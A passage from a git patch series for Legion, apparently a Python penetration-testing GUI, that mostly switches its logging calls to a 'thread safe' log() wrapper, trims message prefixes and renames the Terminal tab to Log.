{qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) - log.info("\t[+] Process {qProcessId} is done!".format(qProcessId=qProcess.id)) + log('info',"Process {qProcessId} is done!".format(qProcessId=qProcess.id)) self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) @@ -670,9 +670,9 @@ def processFinished(self, qProcess): self.updateUITimer.start(1500) # update the interface soon except Exception as e: - log.info("Process Finished Cleanup Exception {e}".format(e=e)) + log('info',"Process Finished Cleanup Exception {e}".format(e=e)) except Exception as e: # fixes bug when receiving finished signal when project is no longer open. - log.info("Process Finished Exception {e}".format(e=e)) + log('info',"Process Finished Exception {e}".format(e=e)) raise def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red @@ -687,7 +687,7 @@ def scheduler(self, parser, isNmapImport): if isNmapImport and self.settings.general_enable_scheduler_on_import == 'False': return if self.settings.general_enable_scheduler == 'True': - log.info('[+] Scheduler started!') + log('info','Scheduler started!') for h in parser.all_hosts(): for p in h.all_ports(): @@ -696,11 +696,11 @@ def scheduler(self, parser, isNmapImport): if not (s is None): self.runToolsFor(s.name, h.ip, p.portId, p.protocol) - log.info('-----------------------------------------------') - log.info('[+] Scheduler ended!') + log('info','-----------------------------------------------') + log('info','Scheduler ended!') def runToolsFor(self, service, ip, port, protocol='tcp'): - log.info('\t[+] Running tools for: ' + service + ' on ' + ip + ':' + port) + log('info','Running tools for: ' + service + ' on ' + ip + ':' + port) if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it service=service[:-1] @@ -720,7 +720,7 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) - log.debug("Running tool command " + str(command)) + log('debug',"Running tool command " + str(command)) if 'nmap' in tabtitle: # we don't want to show nmap tabs restoring = True diff --git a/db/database.py b/db/database.py index 8f9d3114..c855bb61 100644 --- a/db/database.py +++ b/db/database.py @@ -226,7 +226,7 @@ def __init__(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except Exception as e: - log.info('[-] Could not create database. Please try again.') + log.info('Could not create database. Please try again.') log.info(e) def openDB(self, dbfilename): @@ -241,7 +241,7 @@ def openDB(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except: - log.info('[-] Could not open database file. Is the file corrupted?') + log.info('Could not open database file. Is the file corrupted?') def commit(self): self.dbsemaphore.acquire() diff --git a/legion.py b/legion.py index cefe5c2f..7af892da 100644 --- a/legion.py +++ b/legion.py @@ -16,13 +16,13 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session #import elixir except ImportError as e: - log.info("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + log.info("Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - log.info("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + log.info("Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") log.info(e) exit(1) @@ -33,7 +33,7 @@ #from PySide import QtWebKit pass except ImportError: - log.info("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + log.info("Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") exit(1) from app.logic import * @@ -79,7 +79,14 @@ def eventFilter(self, receiver, event): else: return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing -def master(): + +if __name__ == "__main__": + + app = QApplication(sys.argv) + #loop = quamash.QEventLoop(app) + #asyncio.set_event_loop(loop) + + #with loop: myFilter = MyEventFilter() # to capture events app.installEventFilter(myFilter) MainWindow = QtWidgets.QMainWindow() @@ -91,10 +98,9 @@ def master(): try: qss_file = open('./ui/legion.qss').read() except IOError as e: - log.info("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + log.info("The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) - MainWindow.setStyleSheet(qss_file) logic = Logic() # Model prep (logic, db and models) @@ -102,37 +108,7 @@ def master(): controller = Controller(view, logic) # Controller prep (communication between model and view) MainWindow.show() + #log.addHandler(ui.LogOutputTextView) + #loop.run_forever() sys.exit(app.exec_()) - - -if __name__ == "__main__": - - app = QApplication(sys.argv) - loop = quamash.QEventLoop(app) - asyncio.set_event_loop(loop) - - with loop: - myFilter = MyEventFilter() # to capture events - app.installEventFilter(myFilter) - MainWindow = QtWidgets.QMainWindow() - app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) - - ui = Ui_MainWindow() - ui.setupUi(MainWindow) - - try: - qss_file = open('./ui/legion.qss').read() - except IOError as e: - log.info("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") - exit(0) - - MainWindow.setStyleSheet(qss_file) - - logic = Logic() # Model prep (logic, db and models) - view = View(ui, MainWindow) # View prep (gui) - controller = Controller(view, logic) # Controller prep (communication between model and view) - - MainWindow.show() - - loop.run_forever() diff --git a/parsers/Parser.py b/parsers/Parser.py index 9e74faa5..e6aaf4d0 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -28,7 +28,7 @@ def __init__( self, xml_input ): __host = Host.Host(host_node) self.__hosts[__host.ip] = __host except Exception as ex: - log.info("\t[-] Parser error! Invalid nmap file!") + log.info("Parser error! Invalid nmap file!") #logging.error(ex) raise diff --git a/scripts/rdp-sec-check.pl b/scripts/rdp-sec-check.pl index 890c0baf..8f159f83 100644 --- a/scripts/rdp-sec-check.pl +++ b/scripts/rdp-sec-check.pl @@ -194,7 +194,7 @@ my $global_starttime = time; printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); -printf "\n[+] Scanning %s hosts\n", scalar @targets; +printf "\nScanning %s hosts\n", scalar @targets; print Dumper \@targets if $debug > 0; foreach my $target_addr (@targets) { @@ -212,12 +212,12 @@ sub scan_host { print "IP: $ip\n"; print "Port: $port\n"; print "\n"; - print "[+] Connecting to $ip:$port\n" if $debug > 1; + print "Connecting to $ip:$port\n" if $debug > 1; my $socket; my @response; - print "[+] Checking supported protocols\n\n"; - print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; + print "Checking supported protocols\n\n"; + print "Checking if RDP Security (PROTOCOL_RDP) is supported..."; $socket = get_socket($ip, $port); @response = test_std_rdp_security($socket); if (scalar @response == 19) { @@ -241,7 +241,7 @@ sub scan_host { $config{"protocols"}{"PROTOCOL_RDP"} = 1; } - print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; + print "Checking if TLS Security (PROTOCOL_SSL) is supported..."; $socket = get_socket($ip, $port); @response = test_tls_security($socket); if (scalar @response == 19) { @@ -265,7 +265,7 @@ sub scan_host { $config{"protocols"}{"PROTOCOL_SSL"} = 0; } - print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; + print "Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; $socket = get_socket($ip, $port); @response = test_credssp_security($socket); if (scalar @response == 19) { @@ -289,9 +289,9 @@ sub scan_host { $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; } print "\n"; - print "[+] Checking RDP Security Layer\n\n"; + print "Checking RDP Security Layer\n\n"; foreach my $enc_hex (qw(00 01 02 08 10)) { - printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; + printf "Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; $socket = get_socket($ip, $port); @response = test_classic_rdp_security($socket); @@ -358,24 +358,24 @@ sub scan_host { } print "\n"; - print "[+] Summary of protocol support\n\n"; + print "Summary of protocol support\n\n"; foreach my $protocol (keys(%{$config{"protocols"}})) { - printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; + printf "$ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; } print "\n"; - print "[+] Summary of RDP encryption support\n\n"; + print "Summary of RDP encryption support\n\n"; foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { - printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; + printf "$ip:$port has encryption level: %s\n", $encryption_level; } foreach my $encryption_method (sort keys(%encryption_method)) { - printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; + printf "$ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; } print "\n"; - print "[+] Summary of security issues\n\n"; + print "Summary of security issues\n\n"; foreach my $issue (keys(%{$config{"issues"}})) { - print "[-] $ip:$port has issue $issue\n"; + print "$ip:$port has issue $issue\n"; } print Dumper \%config if $debug; @@ -413,7 +413,7 @@ sub test_mcs_initial_connect { sub do_handshake { my ($socket, $string) = @_; - print "[+] Sending:\n" if $debug > 1; + print "Sending:\n" if $debug > 1; hdump($string) if $debug > 1; print $socket $string; @@ -431,11 +431,11 @@ sub do_handshake { } if (length($data) == 4) { - print "[+] Received from Server :\n" if $debug > 1; + print "Received from Server :\n" if $debug > 1; hdump($data) if $debug > 1; my @data = split("", $data); my $length = (ord($data[2]) << 8) + ord($data[3]); - printf "[+] Initial length: %d\n", $length if $debug > 1; + printf "Initial length: %d\n", $length if $debug > 1; my $data2 = ""; while (length($data) < $length) { local $SIG{ALRM} = sub { die "alarm\n" }; @@ -447,7 +447,7 @@ sub do_handshake { if ($@) { print "[W] Timeout on recv. Results may be unreliable.\n"; } - print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; + print "Received " . length($data2) . " bytes from Server :\n" if $debug > 1; hdump($data2) if $debug > 1; $data .= $data2; } diff --git a/ui/gui.py b/ui/gui.py index 410fd942..d65c1622 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -239,7 +239,8 @@ def setupBottomPanel(self): self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0)) self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) - + + # Process Tab self.ProcessTab = QtWidgets.QWidget() self.ProcessTab.setObjectName(_fromUtf8("ProcessesTab")) self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.ProcessTab) @@ -249,16 +250,17 @@ def setupBottomPanel(self): self.horizontalLayout_5.addWidget(self.ProcessesTableView) self.BottomTabWidget.addTab(self.ProcessTab, _fromUtf8("")) - # Terminal Tab - self.TerminalTab = QtWidgets.QWidget() - self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) - self.TerminalTabLayout = QtWidgets.QHBoxLayout(self.TerminalTab) - self.TerminalTabLayout.setObjectName(_fromUtf8("TerminalTabLayout")) - self.TerminalOutputTextView = QPlainTextEditLogger(self.TerminalTab) - self.TerminalOutputTextView.widget.setObjectName(_fromUtf8("TerminalOutputTextView")) - self.TerminalTabLayout.addWidget(self.TerminalOutputTextView.widget) - self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) - log.addHandler(self.TerminalOutputTextView) + # Log Tab + self.LogTab = QtWidgets.QWidget() + self.LogTab.setObjectName(_fromUtf8("LogTab")) + self.LogTabLayout = QtWidgets.QHBoxLayout(self.LogTab) + self.LogTabLayout.setObjectName(_fromUtf8("LogTabLayout")) + self.LogOutputTextView = QPlainTextEditLogger(self.LogTab) + self.LogOutputTextView.widget.setObjectName(_fromUtf8("LogOutputTextView")) + self.LogOutputTextView.widget.setReadOnly(True) + self.LogTabLayout.addWidget(self.LogOutputTextView.widget) + self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) + logObj.addHandler(self.LogOutputTextView) # Python Tab self.PythonTab = QtWidgets.QWidget() @@ -337,7 +339,7 @@ def retranslateUi(self, MainWindow): self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtWidgets.QApplication.translate("MainWindow", "Terminal", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) diff --git a/ui/view.py b/ui/view.py index fc59a2f2..5997e0b7 100644 --- a/ui/view.py +++ b/ui/view.py @@ -18,13 +18,13 @@ from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore except ImportError: - log.info("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") + log('info',"Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") #try: # from PySide import QtWebKit # usePySide = True #except ImportErro as e: -# log.info("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") +# log('info',"Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") # exit(1) from ui.gui import * @@ -274,7 +274,7 @@ def connectCreateNewProject(self): def createNewProject(self): if self.dealWithCurrentProject(): - log.info('[+] Creating new project..') + log('info','Creating new project..') self.controller.createNewProject() ### @@ -288,7 +288,7 @@ def openExistingProject(self): if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): - log.info('[-] Insufficient permissions to open this file.') + log('info','Insufficient permissions to open this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") return @@ -297,7 +297,7 @@ def openExistingProject(self): self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated else: - log.info('\t[-] No file chosen..') + log('info','No file chosen..') ### @@ -309,12 +309,12 @@ def saveProject(self): if self.firstSave: self.saveProjectAs() else: - log.info('[+] Saving project..') + log('info','Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) - log.info('\t[+] Saved!') + log('info','Saved!') ### @@ -323,7 +323,7 @@ def connectSaveProjectAs(self): def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') - log.info('[+] Saving project..') + log('info','Saving project..') self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) @@ -332,7 +332,7 @@ def saveProjectAs(self): while not filename =='': if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): - log.info('[-] Insufficient permissions on this folder.') + log('info','Insufficient permissions on this folder.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") else: @@ -355,9 +355,9 @@ def saveProjectAs(self): self.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() - log.info('\t[+] Saved!') + log('info','Saved!') else: - log.info('\t[-] No file chosen..') + log('info','No file chosen..') ### @@ -416,7 +416,7 @@ def importNmap(self): if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file - log.info('[-] Insufficient permissions to read this file.') + log('info','Insufficient permissions to read this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") return @@ -427,7 +427,7 @@ def importNmap(self): self.importProgressWidget.show() else: - log.info('\t[-] No file chosen..') + log('info','No file chosen..') ### @@ -444,7 +444,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log('info','DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -460,7 +460,7 @@ def connectAppExit(self): def appExit(self): if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() - log.info('[+] Exiting application..') + log('info','Exiting application..') sys.exit(0) ### TABLE ACTIONS ### @@ -1385,7 +1385,7 @@ def callHydra(self, bWidget): if reply == QtWidgets.QMessageBox.No: return else: - log.info('Adding host to scope here!!') + log('info','Adding host to scope here!!') self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) bWidget.validationLabel.hide() From 6a3f6ed212cbed878bdb2e84bf339a205cc0d826 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 15 Oct 2018 23:24:08 -0500 Subject: [PATCH 042/450] thread safe logging --- db/database.py | 6 ++-- legion.py | 10 +++--- parsers/Host.py | 28 +++++++-------- parsers/OS.py | 24 ++++++------- parsers/Parser.py | 48 +++++++++++++------------- parsers/Script.py | 4 +-- parsers/Service.py | 10 +++--- parsers/Session.py | 14 ++++---- plugins/azureCveQuery/azureCveQuery.py | 18 +++++----- scripts/snmpbrute.py | 4 +-- ui/settingsdialogs.py | 26 +++++++------- 11 files changed, 96 insertions(+), 96 deletions(-) diff --git a/db/database.py b/db/database.py index c855bb61..796b592f 100644 --- a/db/database.py +++ b/db/database.py @@ -226,8 +226,8 @@ def __init__(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except Exception as e: - log.info('Could not create database. Please try again.') - log.info(e) + log('info','Could not create database. Please try again.') + log('info',e) def openDB(self, dbfilename): try: @@ -241,7 +241,7 @@ def openDB(self, dbfilename): self.metadata.echo = True self.metadata.bind = self.engine except: - log.info('Could not open database file. Is the file corrupted?') + log('info','Could not open database file. Is the file corrupted?') def commit(self): self.dbsemaphore.acquire() diff --git a/legion.py b/legion.py index 7af892da..d96ff658 100644 --- a/legion.py +++ b/legion.py @@ -16,14 +16,14 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session #import elixir except ImportError as e: - log.info("Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + log('info',"Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") exit(1) try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - log.info("Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") - log.info(e) + log('info',"Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + log('info',e) exit(1) try: @@ -33,7 +33,7 @@ #from PySide import QtWebKit pass except ImportError: - log.info("Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + log('info',"Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") exit(1) from app.logic import * @@ -98,7 +98,7 @@ def eventFilter(self, receiver, event): try: qss_file = open('./ui/legion.qss').read() except IOError as e: - log.info("The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + log('info',"The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") exit(0) MainWindow.setStyleSheet(qss_file) diff --git a/parsers/Host.py b/parsers/Host.py index 631ca434..8190e9a4 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -125,26 +125,26 @@ def get_service( self, protocol, port ): host_node = dom.getElementsByTagName('host')[0] h = Host( host_node ) - log.info('host status: ' + h.status) - log.info('host ip: ' + h.ip) + log('info','host status: ' + h.status) + log('info','host ip: ' + h.ip) for port in h.get_ports( 'tcp', 'open' ): - log.info(port + " is open") + log('info',port + " is open") - log.info("script output:") + log('info',"script output:") for scr in h.get_scripts(): - log.info("script id:" + scr.scriptId) - log.info("Output:") - log.info(scr.output) + log('info',"script id:" + scr.scriptId) + log('info',"Output:") + log('info',scr.output) - log.info("service of tcp port 80:") + log('info',"service of tcp port 80:") s = h.get_service( 'tcp', '80' ) if s == None: - log.info("\tno service") + log('info',"\tno service") else: - log.info("\t" + s.name) - log.info("\t" + s.product) - log.info("\t" + s.version) - log.info("\t" + s.extrainfo) - log.info("\t" + s.fingerprint) + log('info',"\t" + s.name) + log('info',"\t" + s.product) + log('info',"\t" + s.version) + log('info',"\t" + s.extrainfo) + log('info',"\t" + s.fingerprint) diff --git a/parsers/OS.py b/parsers/OS.py index 602deb14..825b3bf4 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -34,17 +34,17 @@ def __init__(self, OSNode): os = OS(osclass) - log.info(os.name) - log.info(os.family) - log.info(os.generation) - log.info(os.os_type) - log.info(os.vendor) - log.info(str(os.accuracy)) + log('info',os.name) + log('info',os.family) + log('info',os.generation) + log('info',os.os_type) + log('info',os.vendor) + log('info',str(os.accuracy)) os = OS(osmatch) - log.info(os.name) - log.info(os.family) - log.info(os.generation) - log.info(os.os_type) - log.info(os.vendor) - log.info(str(os.accuracy)) + log('info',os.name) + log('info',os.family) + log('info',os.generation) + log('info',os.os_type) + log('info',os.vendor) + log('info',str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py index e6aaf4d0..d4502a05 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -28,7 +28,7 @@ def __init__( self, xml_input ): __host = Host.Host(host_node) self.__hosts[__host.ip] = __host except Exception as ex: - log.info("Parser error! Invalid nmap file!") + log('info',"Parser error! Invalid nmap file!") #logging.error(ex) raise @@ -104,45 +104,45 @@ def all_ips( self, status = '' ): parser = Parser( 'a-full.xml' ) - log.info('\nscan session:') + log('info','\nscan session:') session = parser.get_session() - log.info("\tstart time:\t" + session.start_time) - log.info("\tstop time:\t" + session.finish_time) - log.info("\tnmap version:\t" + session.nmap_version) - log.info("\tnmap args:\t" + session.scan_args) - log.info("\ttotal hosts:\t" + session.total_hosts) - log.info("\tup hosts:\t" + session.up_hosts) - log.info("\tdown hosts:\t" + session.down_hosts) + log('info',"\tstart time:\t" + session.start_time) + log('info',"\tstop time:\t" + session.finish_time) + log('info',"\tnmap version:\t" + session.nmap_version) + log('info',"\tnmap args:\t" + session.scan_args) + log('info',"\ttotal hosts:\t" + session.total_hosts) + log('info',"\tup hosts:\t" + session.up_hosts) + log('info',"\tdown hosts:\t" + session.down_hosts) for h in parser.all_hosts(): - log.info('host ' +h.ip + ' is ' + h.status) + log('info','host ' +h.ip + ' is ' + h.status) for port in h.get_ports( 'tcp', 'open' ): - log.info("\t---------------------------------------------------") - log.info("\tservice of tcp port " + port + ":") + log('info',"\t---------------------------------------------------") + log('info',"\tservice of tcp port " + port + ":") s = h.get_service( 'tcp', port ) if s == None: - log.info("\t\tno service") + log('info',"\t\tno service") else: - log.info("\t\t" + s.name) - log.info("\t\t" + s.product) - log.info("\t\t" + s.version) - log.info("\t\t" + s.extrainfo) - log.info("\t\t" + s.fingerprint) + log('info',"\t\t" + s.name) + log('info',"\t\t" + s.product) + log('info',"\t\t" + s.version) + log('info',"\t\t" + s.extrainfo) + log('info',"\t\t" + s.fingerprint) - log.info("\tscript output:") + log('info',"\tscript output:") sc = port.get_scripts() if sc == None: - log.info("\t\tno scripts") + log('info',"\t\tno scripts") else: for scr in sc: - log.info("Script ID: " + scr.scriptId) - log.info("Output: ") - log.info(scr.output) + log('info',"Script ID: " + scr.scriptId) + log('info',"Output: ") + log('info',scr.output) - log.info("\t---------------------------------------------------") + log('info',"\t---------------------------------------------------") diff --git a/parsers/Script.py b/parsers/Script.py index be61ec78..c75b2acd 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -23,5 +23,5 @@ def __init__(self, ScriptNode): for scriptNode in dom.getElementsByTagName('script'): script = Script(scriptNode) - log.info(script.scriptId) - log.info(script.output) + log('info',script.scriptId) + log('info',script.output) diff --git a/parsers/Service.py b/parsers/Service.py index 91ce989d..c155d54c 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -33,8 +33,8 @@ def __init__( self, ServiceNode ): node = dom.getElementsByTagName('service')[0] s = Service( node ) - log.info(s.name) - log.info(s.product) - log.info(s.version) - log.info(s.extrainfo) - log.info(s.fingerprint) + log('info',s.name) + log('info',s.product) + log('info',s.version) + log('info',s.extrainfo) + log('info',s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py index daf8a06f..6212c366 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -25,10 +25,10 @@ def __init__( self, SessionHT ): s = Session( MySession ) - log.info('start_time:' + s.start_time) - log.info('finish_time:' + s.finish_time) - log.info('nmap_version:' + s.nmap_version) - log.info('nmap_args:' + s.scan_args) - log.info('total hosts:' + s.total_hosts) - log.info('up hosts:' + s.up_hosts) - log.info('down hosts:' + s.down_hosts) + log('info','start_time:' + s.start_time) + log('info','finish_time:' + s.finish_time) + log('info','nmap_version:' + s.nmap_version) + log('info','nmap_args:' + s.scan_args) + log('info','total hosts:' + s.total_hosts) + log('info','up hosts:' + s.up_hosts) + log('info','down hosts:' + s.down_hosts) diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py index 88da06d3..9efb3722 100644 --- a/plugins/azureCveQuery/azureCveQuery.py +++ b/plugins/azureCveQuery/azureCveQuery.py @@ -72,7 +72,7 @@ async def wrap(*args, **kw): result = await f(*args, **kw) te = time() tr = te-ts - log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + log('debug','Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) try: testGet = metrics[f.__name__] except: @@ -94,7 +94,7 @@ async def wrap(*args, **kw): @timing async def heartbeat(pub): timeNow = str(datetime.now()) - log.info('Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) + log('info','Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) await publishToRedis(pub, 'heartbeats', {'azureMlsRestService':timeNow}) # Enque aquisition of PagerDuty Incidents and publiush them @@ -106,7 +106,7 @@ async def checkPagerDutyIncidents(pub): if 'incidents' in data: incidentDictionaries = DictToObject(data['incidents']) for incidentDictionary in incidentDictionaries.outputStructure: - log.info("Incident: {id}".format(id=str(incidentDictionary.id))) + log('info',"Incident: {id}".format(id=str(incidentDictionary.id))) fields = {} fields['id'] = incidentDictionary.id fields['description'] = incidentDictionary.description @@ -131,7 +131,7 @@ async def postNoteToPagerDutyNote(incId, Note): async def redisMessageReceived(channelObj, pub): while (await channelObj.wait_message()): channelName = channelObj.name.decode() - log.info("Message recieved on {channelName}".format(channelName=channelName)) + log('info',"Message recieved on {channelName}".format(channelName=channelName)) if channelName == 'outgoing-incidents': messageJson = await channelObj.get_json() try: @@ -140,14 +140,14 @@ async def redisMessageReceived(channelObj, pub): messageDict = messageJson incId = messageDict['inc_id'] incMessage = messageDict['catagorical_noise'] - log.info("INC {0} recieved on outgoing-incidents.".format(incId)) + log('info',"INC {0} recieved on outgoing-incidents.".format(incId)) ## postBackToPagerDuty(incId, incMessage) await deleteFromRedis(pub, messageJson) # Execute post to create note on PagerDuty Incident @timing async def postToPagerDuty(url: str, headers: dict, data: dict, session): - log.debug('Post {url}'.format(url=url)) + log('debug','Post {url}'.format(url=url)) data = quote(str(data)) async with session.request('POST', url, headers=headers, data=data) as resp: data = await resp.json() @@ -156,7 +156,7 @@ async def postToPagerDuty(url: str, headers: dict, data: dict, session): # Execute aquisition of PagerDuty Incidents @timing async def fetchFromPagerDuty(url: str, headers: dict, params: dict, session) -> dict: - log.debug('Query {url}'.format(url=url)) + log('debug','Query {url}'.format(url=url)) params = quote(str(params)) async with session.request('GET', url, headers=headers, params=params) as resp: data = await resp.json() @@ -177,10 +177,10 @@ async def publishToRedis(pub, channel: str, message): try: cache = await setOrUpdateRedisCache(pub, message) if not cache: - log.info("Published to {channel}.".format(channel=channel)) + log('info',"Published to {channel}.".format(channel=channel)) await pub.publish_json(channel, message) else: - log.info("Already exists, Not published to {channel}.".format(channel=channel)) + log('info',"Already exists, Not published to {channel}.".format(channel=channel)) except: raise "Publish failure to {channel}.".format(channel=channel) diff --git a/scripts/snmpbrute.py b/scripts/snmpbrute.py index 97a68a45..ff8f3b53 100644 --- a/scripts/snmpbrute.py +++ b/scripts/snmpbrute.py @@ -410,7 +410,7 @@ def enumerateSNMPWalk(result,options): print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' for j in range(lines): - log.info( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + log('info', '\t'+entry['Destination'][j].strip().ljust(12,' ') + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + '\t'+entry['Mask'][j].strip().ljust(12,' ') + '\t\t'+entry['Metric'][j].strip().center(6,' ') + @@ -440,7 +440,7 @@ def enumerateSNMPWalk(result,options): print '\tIP\t\tMAC\t\t\tV' print '\t--\t\t---\t\t\t--' for j in range(lines): - log.info( '\t'+entry['IP'][j].strip().ljust(12,' ') + + log('info', 